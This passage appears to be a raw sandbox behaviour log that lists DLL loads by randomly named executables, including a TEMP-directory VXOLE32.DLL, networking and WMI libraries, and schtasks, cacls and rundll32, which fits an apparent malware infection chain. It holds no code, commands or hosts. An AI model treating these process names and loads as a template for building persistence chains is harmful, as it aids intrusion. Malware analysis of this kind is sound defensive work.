"API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "Vo8ml85.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c0000 "Vo8ml85.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6cfd0000 "Vo8ml85.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "aM0RY76.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6cfe0000 "aM0RY76.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "kx3Tv79.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "kx3Tv79.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "kx3Tv79.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "kx3Tv79.exe" loaded module "KERNEL32" at base 75c30000 "kx3Tv79.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "kx3Tv79.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c0000 "kx3Tv79.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6cfb0000 "FM0nA02.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "FM0nA02.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "FM0nA02.exe" loaded module "KERNEL32" at base 75c30000 "FM0nA02.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "FM0nA02.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c0000 "FM0nA02.exe" loaded module "FECLIENT.DLL" at base 6d110000 "FM0nA02.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6cfe0000 "FM0nA02.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "1BC12Pi1.exe" loaded module "ADVAPI32.DLL" at base 75910000 "1BC12Pi1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "1BC12Pi1.exe" loaded module "KERNEL32" at base 75c30000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6d3f0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 68aa0000 "1BC12Pi1.exe" loaded module "USER32.DLL" at base 759c0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "1BC12Pi1.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "1BC12Pi1.exe" loaded module "SHLWAPI.DLL" at base 75880000 "1BC12Pi1.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "1BC12Pi1.exe" loaded module "PSAPI.DLL" at base 77700000 "1BC12Pi1.exe" loaded module "KERNEL32.DLL" at base 75c30000 "1BC12Pi1.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6cfc0000 "1BC12Pi1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 675e0000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "1BC12Pi1.exe" loaded module "OLE32.DLL" at base 76000000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "1BC12Pi1.exe" loaded module "OLEAUT32.DLL" at base 76530000 "1BC12Pi1.exe" loaded module "AMSI.DLL" at base 0 "1BC12Pi1.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74c50000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 67550000 "1BC12Pi1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 66940000 "1BC12Pi1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 65ad0000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d4c0000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "1BC12Pi1.exe" loaded module "NTDLL.DLL" at base 775b0000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "1BC12Pi1.exe" loaded module "SHELL32.DLL" at base 765d0000 "1BC12Pi1.exe" loaded module "VERSION.DLL" at base 74a30000 "1BC12Pi1.exe" loaded module "ADVAPI32" at base 75910000 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "1BC12Pi1.exe" loaded module "MSCOREE.DLL" at base 6cfc0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "1BC12Pi1.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "1BC12Pi1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "1BC12Pi1.exe" loaded module "RPCRT4.DLL" at base 75e00000 "1BC12Pi1.exe" loaded module "CRYPTSP.DLL" at base 74ec0000 "1BC12Pi1.exe" loaded module "CRYPTBASE.DLL" at base 753b0000 "1BC12Pi1.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73f30000 "1BC12Pi1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 66af0000 "1BC12Pi1.exe" loaded module "SSPICLI.DLL" at base 75340000 "1BC12Pi1.exe" loaded module "RPCRTREMOTE.DLL" at base 75450000 "2Aq2815.exe" loaded module "SHELL32.DLL" at base 765d0000 "2Aq2815.exe" loaded module "OLE32.DLL" at base 76000000 "2Aq2815.exe" loaded module "ADVAPI32.DLL" at base 75910000 "2Aq2815.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 757a0000 "2Aq2815.exe" loaded module "WINHTTP.DLL" at base 70b80000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74e70000 "2Aq2815.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75f60000 "2Aq2815.exe" loaded module "URLMON.DLL" at base 77220000 "2Aq2815.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6d030000 "2Aq2815.exe" loaded module "DNSAPI.DLL" at base 74d40000 "2Aq2815.exe" loaded module "CLBCATQ.DLL" at base 757f0000 "2Aq2815.exe" loaded module "DHCPCSVC6.DLL" at base 73370000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6ef10000 "2Aq2815.exe" loaded module "DHCPCSVC.DLL" at base 74930000 "2Aq2815.exe" loaded module "CRYPTSP.DLL" at base 74ec0000 "2Aq2815.exe" loaded module "OLEAUT32.DLL" at base 76530000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76530000 "2Aq2815.exe" loaded module "COMCTL32.DLL" at base 74330000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77720000 "2Aq2815.exe" loaded module "KERNEL32.DLL" at base 75c30000 "2Aq2815.exe" loaded module "PROFAPI.DLL" at base 754d0000 "2Aq2815.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 713c0000 "2Aq2815.exe" loaded module "WS2_32.DLL" at base 77720000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74e80000 "2Aq2815.exe" loaded module "IPHLPAPI.DLL" at base 74a10000 "2Aq2815.exe" loaded module "RPCRT4.DLL" at base 75e00000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74920000 "2Aq2815.exe" loaded module "RASADHLP.DLL" at base 71cd0000 "2Aq2815.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74c50000 "2Aq2815.exe" loaded module "CRYPTBASE.DLL" at base 753b0000 "2Aq2815.exe" loaded module "RPCRTREMOTE.DLL" at base 75450000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6e690000 "2Aq2815.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 733a0000 "2Aq2815.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "3Hh02Er.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "3Hh02Er.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "4nL947Ei.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "4nL947Ei.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "4nL947Ei.exe" loaded module "KERNEL32" at base 75c30000 "4nL947Ei.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "4nL947Ei.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c0000 "4nL947Ei.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "4nL947Ei.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74a30000 "AppLaunch.exe" loaded module "KERNEL32" at base 75c30000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 68a10000 "AppLaunch.exe" loaded module "USER32.DLL" at base 759c0000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 77700000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 75c30000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 67550000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 76000000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 753b0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6e680000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 674c0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 66a60000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 668b0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 64840000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 75910000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 73ef0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 66090000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 640c0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d410000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 775b0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 765d0000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75f60000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 754d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 74fd0000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 74ec0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74c50000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 6d430000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 77780000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 65ef0000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 76160000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 75e00000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 65ad0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 63480000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 65f80000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 62090000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75710000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 75880000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 61dc0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5f150000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74920000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74e80000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74e70000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "AppLaunch.exe" loaded module "SECUR32.DLL" at base 751f0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5e880000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 75340000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "AppLaunch.exe" loaded module "CLBCATQ.DLL" at base 757f0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75c30000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6ed80000 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 76530000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6f110000 "AppLaunch.exe" loaded module "RPCRTREMOTE.DLL" at base 75450000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 61730000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6edb0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f220000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5e650000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6d4c0000 "5VA7se4.exe" loaded module "ADVAPI32.DLL" at base 75910000 "5VA7se4.exe" loaded module "SHELL32.DLL" at base 765d0000 "5VA7se4.exe" loaded module "SETUPAPI.DLL" at base 75a90000 "5VA7se4.exe" loaded module "RPCRT4.DLL" at base 75e00000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "5VA7se4.exe" loaded module "PROPSYS.DLL" at base 74140000 "5VA7se4.exe" loaded module "OLE32.DLL" at base 76000000 "5VA7se4.exe" loaded module "COMCTL32.DLL" at base 74330000 "5VA7se4.exe" loaded module "OLEAUT32.DLL" at base 76530000 "5VA7se4.exe" loaded module "CLBCATQ.DLL" at base 757f0000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74140000 "5VA7se4.exe" loaded module "NTMARTA.DLL" at base 749d0000 "5VA7se4.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75f60000 "5VA7se4.exe" loaded module "PROFAPI.DLL" at base 754d0000 "5VA7se4.exe" loaded module "APPHELP.DLL" at base 75360000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6ee10000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 765d0000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77220000 "5VA7se4.exe" loaded module "SECUR32.DLL" at base 751f0000 "5VA7se4.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 755b0000 "5VA7se4.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 713c0000 "5VA7se4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "5VA7se4.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "explothe.exe" loaded module "APPHELP.DLL" at base 75360000 "explothe.exe" loaded module "SETUPAPI.DLL" at base 75a90000 "explothe.exe" loaded module "RPCRT4.DLL" at base 75e00000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "explothe.exe" loaded module "OLE32.DLL" at base 76000000 "explothe.exe" loaded module "ADVAPI32.DLL" at base 75910000 "explothe.exe" loaded module "PROPSYS.DLL" at base 74140000 "explothe.exe" loaded module "COMCTL32.DLL" at base 74330000 "explothe.exe" loaded module "OLEAUT32.DLL" at base 76530000 "explothe.exe" loaded module "KERNEL32.DLL" at base 75c30000 "explothe.exe" loaded module "CLBCATQ.DLL" at base 757f0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6c210000 "explothe.exe" loaded module "SHELL32.DLL" at base 765d0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "explothe.exe" loaded module "RPCRTREMOTE.DLL" at base 75450000 "explothe.exe" loaded module "SECUR32.DLL" at base 751f0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74e80000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74e70000 "explothe.exe" loaded module "IPHLPAPI.DLL" at base 74a10000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6d030000 "explothe.exe" loaded module "DHCPCSVC.DLL" at base 74930000 "explothe.exe" loaded module "CRYPTSP.DLL" at base 74ec0000 "explothe.exe" loaded module "CRYPTBASE.DLL" at base 753b0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 733a0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77720000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 76280000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6ef10000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6e690000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76530000 "6hE6Ue0.exe" loaded module "OLE32.DLL" at base 76000000 "6hE6Ue0.exe" loaded module "ADVAPI32.DLL" at base 75910000 "6hE6Ue0.exe" loaded module "COMCTL32.DLL" at base 74330000 "6hE6Ue0.exe" loaded module "OLEAUT32.DLL" at base 76530000 "6hE6Ue0.exe" loaded module "CLBCATQ.DLL" at base 757f0000 "6hE6Ue0.exe" loaded module "NTMARTA.DLL" at base 749d0000 "6hE6Ue0.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75f60000 "6hE6Ue0.exe" loaded module "PROFAPI.DLL" at base 754d0000 "6hE6Ue0.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77220000 "6hE6Ue0.exe" loaded module "SECUR32.DLL" at base 751f0000 "6hE6Ue0.exe" loaded module "RPCRT4.DLL" at base 75e00000 "6hE6Ue0.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 755b0000 "6hE6Ue0.exe" loaded module "SHELL32.DLL" at base 765d0000 "6hE6Ue0.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75360000 "6hE6Ue0.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "6hE6Ue0.exe" loaded module "KERNEL32.DLL" at base 75c30000 "6hE6Ue0.exe" loaded module "PROPSYS.DLL" at base 74140000 "6hE6Ue0.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74140000 "6hE6Ue0.exe" loaded module "SETUPAPI.DLL" at base 75a90000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 75910000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 75c30000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75c30000 "cmd.exe" loaded module "SETUPAPI.DLL" at base 75a90000 "cmd.exe" loaded module "RPCRT4.DLL" at base 75e00000 "cmd.exe" loaded module "OLE32.DLL" at base 76000000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 75c30000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 757e0000 "cmd.exe" loaded module "PROPSYS.DLL" at base 74140000 "cmd.exe" loaded module "URLMON.DLL" at base 77220000 "cmd.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 6d4e0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 765d0000 "cmd.exe" loaded module "OLEAUT32.DLL" at base 76530000 "cmd.exe" loaded module "USER32.DLL" at base 759c0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74140000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 75910000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "cacls.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75f60000 "cacls.exe" loaded module "GDI32.DLL" at base 76160000 "cacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72dc0000 "rundll32.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ef0000 "rundll32.exe" loaded module "KERNEL32" at base 75c30000 "rundll32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cacls.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77780000 "cacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d0c0000 "cacls.exe" loaded module "KERNEL32.DLL" at base 75c30000 "cacls.exe" 